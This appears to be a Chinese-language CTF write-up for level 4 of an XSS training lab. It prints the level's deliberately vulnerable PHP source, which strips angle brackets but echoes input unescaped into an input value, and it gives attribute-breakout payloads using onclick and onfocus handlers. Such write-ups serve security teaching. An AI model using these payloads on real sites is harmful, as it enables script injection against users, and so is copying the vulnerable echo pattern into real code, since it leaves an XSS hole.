访问题目url
直接经典代码起手:
<script>alert('xss')</script>
查看界面回显发现表单中的尖括号都消失了,我们直接去看源代码。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
GET方法得到的参数经过htmlspecialchars()
函数转义后回显到HTML页面中。程序将通过GET方法得到的参数做尖括号过滤后赋值给name=keyword
的input
标签的value
值。所以基于标签的注入无效,但基于事件(不含<>
)的XSS仍可以使用。
" onclick=javascript:alert('xss')//
" onfocus=javascript:alert('xss')//